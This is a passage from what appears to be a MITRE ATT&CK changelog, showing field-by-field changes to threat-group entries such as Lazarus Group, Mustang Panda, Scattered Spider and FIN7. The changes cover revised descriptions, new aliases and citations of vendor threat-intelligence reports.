description[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025) + +
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version4.15.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Mandiant DPRK Groups 2023', 'description': 'Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023'}
external_references{'source_name': 'Mandiant DPRK Laz Org Breakdown 2022', 'description': 'Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/'}
external_references{'source_name': 'JPCert Blog Laz Subgroups 2025', 'description': '佐々木勇人 Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup. Retrieved August 25, 2025.', 'url': 'https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html'}

[G0069] MuddyWater

Current version: 6.0

Version changed from: 5.1 → 6.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-08-29 14:59:08.071000+00:002025-10-22 19:08:44.552000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version5.16.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_domainsmobile-attack

[G0129] Mustang Panda

Current version: 3.0

Version changed from: 2.1 → 3.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Mustang Panda](https://attack.mitre.org/groups/G0129) is a t1[Mustang Panda](https://attack.mitre.org/groups/G0129) is a 
>China-based cyber espionage threat actor that was first obse>China-based cyber espionage threat actor that has been condu
>rved in 2017 but may have been conducting operations since a>cting operations since at least 2012. [Mustang Panda](https:
>t least 2014. [Mustang Panda](https://attack.mitre.org/group>//attack.mitre.org/groups/G0129) has been known to use tailo
>s/G0129) has targeted government entities, nonprofits, relig>red phishing lures and decoy documents to deliver malicious 
>ious, and other non-governmental organizations in the U.S., >payloads.  [Mustang Panda](https://attack.mitre.org/groups/G
>Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among othe>0129) has targeted government, diplomatic, and non-governmen
>rs.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation:>tal organizations, including think tanks, religious institut
> Anomali MUSTANG PANDA October 2019)(Citation: Secureworks B>ions, and research entities, across the United States, Europ
>RONZE PRESIDENT December 2019) >e, and Asia, with notable activity in Russia, Mongolia, Myan
 >mar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PA
 >NDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda
 > March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(C
 >itation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(C
 >itation: Secureworks BRONZE PRESIDENT December 2019)(Citatio
 >n: DOJ Affidavit Search and Seizure PlugX December 2024)(Cit
 >ation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MU
 >STANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUST
 >ANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(
 >Citation: Sophos PlugX September 2022)(Citation: Sophos Must
 >ang Panda PLUGX)(Citation: Zscaler)
Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:34.723000+00:002025-10-23 18:52:40.872000+00:00
description[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. [Mustang Panda](https://attack.mitre.org/groups/G0129) has been known to use tailored phishing lures and decoy documents to deliver malicious payloads. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PANDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: DOJ Affidavit Search and Seizure PlugX December 2024)(Citation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)(Citation: Zscaler)
external_references[4]['description'](Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.13.0
iterable_item_added
STIX FieldOld valueNew Value
aliasesSTATELY TAURUS
aliasesFIREANT
aliasesCAMARO DRAGON
aliasesEARTH PRETA
aliasesHIVE0154
aliasesTWILL TYPHOON
aliasesTANTALUM
aliasesLUMINOUS MOTH
aliasesUNC6384
aliasesTEMP.Hex
aliasesRed Lich
external_references{'source_name': 'EARTH PRETA', 'description': '(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Trend Micro Mustang Panda Earth Preta Toneshell February 2025)(Citation: Trend Micro Mustang Panda Earth Preta TONESHELL June 2023)'}
external_references{'source_name': 'FIREANT', 'description': '(Citation: Broadcom)'}
external_references{'source_name': 'UNC6384', 'description': '(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)'}
external_references{'source_name': 'TEMP.Hex', 'description': '(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)'}
external_references{'source_name': 'CAMARO DRAGON', 'description': '(Citation: HorseShell)'}
external_references{'source_name': 'HIVE0154', 'description': '(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)'}
external_references{'source_name': 'TWILL TYPHOON', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references{'source_name': 'TANTALUM', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references{'source_name': 'LUMINOUS MOTH', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references{'source_name': 'STATELY TAURUS', 'description': '(Citation: Palo Alto Networks, Unit 42)(Citation: Unit42 Bookworm Nov2015)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Broadcom)(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023)(Citation: CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024)'}
external_references{'source_name': 'Red Lich', 'description': '(Citation: PWC UK MUSTANG PANDA RED LICH February 2021)'}
external_references{'source_name': 'Eset PlugX Korplug Mustang Panda March 2022', 'description': 'Alexandre Cote Cyr. (2022, March 23). Mustang Panda’s Hodur: Old tricks, new Korplug variant. Retrieved September 9, 2025.', 'url': 'https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/'}
external_references{'source_name': 'Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022', 'description': 'Asheer Malhotra, Jungsoo An, Kendall Mc. (2022, May 5). Mustang Panda deploys a new wave of malware targeting Europe. Retrieved August 4, 2025.', 'url': 'https://blog.talosintelligence.com/mustang-panda-targets-europe/'}
external_references{'source_name': 'Broadcom', 'description': 'Broadcom Protection Bulletins. (2025, February 20). Bookworm malware linked to Fireant (aka Stately Tarurus) activity observed in Southeast Asia. Retrieved July 21, 2025.', 'url': 'https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia'}
external_references{'source_name': 'HorseShell', 'description': 'Cohen, Itay. Madej, Radoslaw. Threat Intelligence Team. (2023, May 16). THE DRAGON WHO SOLD HIS CAMARO: ANALYZING CUSTOM ROUTER IMPLANT. Retrieved December 26, 2023.', 'url': 'https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/'}
external_references{'source_name': 'CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024', 'description': 'CSIRT CTI. (2024, January 23). Stately Taurus Targets Myanmar Amidst Concerns over Military Junta’s Handling of Rebel Attacks. Retrieved August 4, 2025.', 'url': 'https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/'}
external_references{'source_name': 'DOJ Affidavit Search and Seizure PlugX December 2024', 'description': 'DOJ. (2024, December 20). Mag. No. 24-mj-1387 AFFIDAVIT IN SUPPORT OF AN APPLICATION FOR A NINTH SEARCH AND SEIZURE WARRANT- IN THE MATTER OF THE SEARCH AND SEIZURE OF COMPUTERS IN THE UNITED STATES INFECTED WITH PLUGX MALWARE . Retrieved September 9, 2025.', 'url': 'https://www.justice.gov/archives/opa/media/1384136/dl'}
external_references{'source_name': 'EclecticIQ Mustang Panda PlugX', 'description': 'EclecticIQ Threat Research Team. (2023, February 2). Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX Malware. Retrieved September 9, 2025.', 'url': 'https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware'}
external_references{'source_name': 'IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025', 'description': 'Golo Muhr, Joshua Chung. (2025, June 23). Hive0154 aka Mustang Panda shifts focus on Tibetan community to deploy Pubload backdoor. Retrieved August 4, 2025.', 'url': 'https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor'}
external_references{'source_name': '2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA', 'description': 'Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.', 'url': 'https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan'}
external_references{'source_name': 'ATTACKIQ MUSTANG PANDA TONESHELL March 2023', 'description': 'Ken Towne, Francis Guibernau. (2023, March 23). Emulating the Politically Motivated Chinese APT Mustang Panda. Retrieved September 10, 2025.', 'url': 'https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/'}
external_references{'source_name': 'Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024', 'description': 'Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html'}
external_references{'source_name': 'Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023', 'description': 'Lior Rochberger, Tom Fakterman, Robert Falcone. (2023, September 22). Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda. Retrieved September 9, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/'}
external_references{'source_name': 'Microsoft Naming Conventions Frequently Updated', 'description': 'Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.', 'url': 'https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming'}
external_references{'source_name': 'Trend Micro Mustang Panda Earth Preta Toneshell February 2025', 'description': 'Nathaniel Morales, Nick Dai. (2025, February 18). Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detection. Retrieved September 10, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/25/b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html'}
external_references{'source_name': '2022 November_TrendMicro_Earth Preta_Toneshell_Pubload', 'description': 'Nick Dai, Vickie Su, Sunny Lu. (2022, November 18). Earth Preta Spear-Phishing Governments Worldwide. Retrieved August 4, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html'}
external_references{'source_name': 'Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025', 'description': 'Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats'}
external_references{'source_name': 'PWC UK MUSTANG PANDA RED LICH February 2021', 'description': 'PWC UK. (2021, February 28). Cyber Threats 2020: A Year in Retrospect. Retrieved October 15, 2025.', 'url': 'https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf'}
external_references{'source_name': 'Unit42 Bookworm Nov2015', 'description': 'Robert Falcone, Mike Scott, Juan Cortes. (2015, November 10). Bookworm Trojan: A Model of Modular Architecture. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/'}
external_references{'source_name': 'Palo Alto Networks, Unit 42', 'description': 'Robert Falcone. (2025, February 20). Stately Taurus Activity in Southeast Asia Links to Bookworm Malware. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/'}
external_references{'source_name': 'Sophos PlugX September 2022', 'description': 'Secureworks Counter Threat Unit Research Team. (2022, April 27). BRONZE PRESIDENT Targets Russian Speakers with Updated PlugX. Retrieved September 9, 2025.', 'url': 'https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx'}
external_references{'source_name': 'Sophos Mustang Panda PLUGX', 'description': 'Secureworks Counter Threat Unit Research Team. (2022, September 8). BRONZE PRESIDENT Targets Government Officials. Retrieved September 9, 2025.', 'url': 'https://www.secureworks.com/blog/bronze-president-targets-government-officials'}
external_references{'source_name': 'Zscaler', 'description': 'Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy | P1. Retrieved July 21, 2025.', 'url': 'https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1'}
external_references{'source_name': 'Trend Micro Mustang Panda Earth Preta TONESHELL June 2023', 'description': 'Sunny Lu, Vickie Su, Nick Dai. (2023, June 14). Behind the Scenes: Unveiling the Hidden Workings of Earth Preta. Retrieved September 10, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html'}
external_references{'source_name': 'BlackBerry MUSTANG PANDA October 2022', 'description': 'The BlackBerry Research and Intelligence Team. (2022, October 6). Mustang Panda Abuses Legitimate Apps to Target Myanmar Based Victims. Retrieved October 14, 2025.', 'url': 'https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims'}
external_references{'source_name': 'Unit42 Chinese VSCode 06 September 2024', 'description': 'Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/'}
x_mitre_contributorsJiraput Thamsongkrah
x_mitre_contributorsYH Chang, ZScaler ThreatLabz

[G1015] Scattered Spider

Current version: 3.0

Version changed from: 2.0 → 3.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Scattered Spider](https://attack.mitre.org/groups/G1015) ist1[Scattered Spider](https://attack.mitre.org/groups/G1015) is
> a native English-speaking cybercriminal group that has been> a native English-speaking cybercriminal group active since 
> active since at least 2022.(Citation: CrowdStrike Scattered>at least 2022. (Citation: CrowdStrike Scattered Spider Profi
> Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct>le) (Citation: MSTIC Octo Tempest Operations October 2023) T
>ober 2023) The group initially targeted customer relationshi>he group initially targeted customer relationship management
>p management and business-process outsourcing (BPO) firms as> (CRM) providers, business process outsourcing (BPO) firms, 
> well as telecommunications and technology companies. Beginn>and telecommunications and technology companies before expan
>ing in 2023, [Scattered Spider](https://attack.mitre.org/gro>ding in 2023 to gaming, hospitality, retail, managed service
>ups/G1015) expanded its operations to compromise victims in > provider (MSP), manufacturing, and financial sectors. (Cita
>the gaming, hospitality, retail, MSP, manufacturing, and fin>tion: MSTIC Octo Tempest Operations October 2023) [Scattered
>ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo> Spider](https://attack.mitre.org/groups/G1015) relies heavi
>ber 2023) During campaigns, [Scattered Spider](https://attac>ly on social engineering, including impersonating IT and hel
>k.mitre.org/groups/G1015) has leveraged targeted social-engi>p-desk staff, to gain initial access, bypass multi-factor au
>neering techniques, attempted to bypass popular endpoint sec>thentication (MFA), and compromise enterprise networks. The 
>urity tools, and more recently, deployed ransomware for fina>group has adapted its tooling to evade endpoint detection an
>ncial gain.(Citation: CISA Scattered Spider Advisory Novembe>d response (EDR) defenses and used ransomware for financial 
>r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January>gain. (Citation: CISA Scattered Spider Advisory November 202
> 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat>3) (Citation: CrowdStrike Scattered Spider BYOVD January 202
>ion: MSTIC Octo Tempest Operations October 2023)(Citation: C>3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) 
>rowdstrike TELCO BPO Campaign December 2022)>[Scattered Spider](https://attack.mitre.org/groups/G1015) ha
 >d expanded into hybrid cloud and identity environments, usin
 >g help-desk impersonation and MFA bypass to obtain administr
 >ator access in Okta, AWS, and Office 365. (Citation: Mandian
 >t UNC3944 May 2025)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-04 21:24:48.602000+00:002025-10-24 02:30:51.936000+00:00
description[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023) +[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022) +[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.03.0
iterable_item_added
STIX FieldOld valueNew Value
aliasesUNC3944
external_references{'source_name': 'UNC3944', 'description': '(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)'}
external_references{'source_name': 'Mandiant VMware vSphere JUL 2025', 'description': 'Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944'}
external_references{'source_name': 'Mandiant UNC3944 May 2025', 'description': 'Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations'}

[G1033] Star Blizzard

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-06-14 18:39:26.684000+00:002025-10-22 22:12:56.172000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_domainsmobile-attack

[G0027] Threat Group-3390

Current version: 3.0

Version changed from: 2.2 → 3.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 22:33:06.500000+00:002025-10-15 20:24:59.798000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.23.0
iterable_item_added
STIX FieldOld valueNew Value
aliasesLinen Typhoon
external_references{'source_name': 'Linen Typhoon', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references{'source_name': 'Microsoft Naming Conventions Frequently Updated', 'description': 'Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.', 'url': 'https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming'}
Minor Version Changes

[G0096] APT41

Current version: 4.2

Version changed from: 4.1 → 4.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-22 21:56:33.318000+00:002025-06-11 20:13:29.024000+00:00
x_mitre_version4.14.2

[G1006] Earth Lusca

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-16 16:18:00.876000+00:002025-06-06 14:55:18.144000+00:00
x_mitre_version2.02.1

[G0046] FIN7

Current version: 4.1

Version changed from: 4.0 → 4.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[FIN7](https://attack.mitre.org/groups/G0046) is a financialt1[FIN7](https://attack.mitre.org/groups/G0046) is a financial
>ly-motivated threat group that has been active since 2013. [>ly-motivated threat group that has been active since 2013. [
>FIN7](https://attack.mitre.org/groups/G0046) has primarily t>FIN7](https://attack.mitre.org/groups/G0046) has targeted th
>argeted the retail, restaurant, hospitality, software, consu>e retail, restaurant, hospitality, software, consulting, fin
>lting, financial services, medical equipment, cloud services>ancial services, medical equipment, cloud services, media, f
>, media, food and beverage, transportation, and utilities in>ood and beverage, transportation, pharmaceutical, and utilit
>dustries in the U.S. A portion of [FIN7](https://attack.mitr>ies industries in the United States. A portion of [FIN7](htt
>e.org/groups/G0046) was run out of a front company called Co>ps://attack.mitre.org/groups/G0046) was operated out of a fr
>mbi Security and often used point-of-sale malware for target>ont company called Combi Security and often used point-of-sa
>ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro>le malware for targeting efforts. Since 2020, [FIN7](https:/
>ups/G0046) shifted operations to a big game hunting (BGH) ap>/attack.mitre.org/groups/G0046) shifted operations to big ga
>proach including use of [REvil](https://attack.mitre.org/sof>me hunting (BGH), including use of [REvil](https://attack.mi
>tware/S0496) ransomware and their own Ransomware as a Servic>tre.org/software/S0496) ransomware and their own Ransomware-
>e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt>as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca
>ps://attack.mitre.org/groups/G0008) Group, but there appears>rbanak](https://attack.mitre.org/groups/G0008) Group, but mu
> to be several groups using [Carbanak](https://attack.mitre.>ltiple threat groups have been observed using [Carbanak](htt
>org/software/S0030) malware and are therefore tracked separa>ps://attack.mitre.org/software/S0030), leading these groups 
>tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F>to be tracked separately.(Citation: FireEye FIN7 March 2017)
>IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati>(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN
>on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid>AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro
>er August 2021)(Citation: Mandiant FIN7 Apr 2022)>wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 
 >Apr 2022)(Citation: BiZone Lizar May 2021)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:09:41.004000+00:002025-10-24 03:18:58.136000+00:00
description[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
